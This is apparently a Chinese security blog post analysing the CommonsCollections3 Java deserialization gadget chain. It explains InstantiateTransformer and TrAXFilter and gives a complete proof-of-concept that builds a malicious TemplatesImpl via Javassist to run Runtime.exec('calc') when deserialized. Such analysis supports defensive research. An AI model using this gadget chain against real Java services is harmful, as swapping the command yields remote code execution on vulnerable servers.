CommonsCollections3 反序列化利用鏈分析
阿新 • • 發佈:2020-09-12
InstantiateTransformer
commons-collections 3.1 中有 InstantiateTransformer
這麼一個類,這個類也實現了 Transformer
的transform
方法 ,如下:
public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException ex) { throw new FunctorException("InstantiateTransformer: InstantiationException", ex); } catch (IllegalAccessException ex) { throw new FunctorException("InstantiateTransformer: Constructor must be public", ex); } catch (InvocationTargetException ex) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex); } }
其中這兩行 getConstructor 獲取有引數建構函式,然後newInstance執行有引數的建構函式。iParamTypes
、iArgs
均可控。
TrAXFilter
這裡首先來一段程式碼
public static void main(String[] args) throws Exception{ template().newTransformer(); } public static TemplatesImpl template() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Test"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); Field name = templates.getClass().getDeclaredField("_name"); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); bytecodes.setAccessible(true); name.setAccessible(true); tfactory.setAccessible(true); bytecodes.set(templates, targetByteCodes); name.set(templates, "aaa"); tfactory.set(templates, new TransformerFactoryImpl()); return templates; }
上面程式碼執行會彈出計算器。
在 TrAXFilter
類的構造方法中同樣發現了呼叫了newTransformer
方法。
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
所以我們的目標是要例項化TrAXFilter
類
結合上面的 InstantiateTransformer
類的transform
方法剛好滿足需求。
TemplatesImpl template = template();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template});
instantiateTransformer.transform(TrAXFilter.class); // 獲取 TrAXFilter(Templates templates) 並例項化。
之後就和 commonscollections1 差不多了,用 TransformedMap.decode 包裝下。
得出poc
TemplatesImpl template = template();
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hm = new HashMap();
hm.put("value",1);
Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();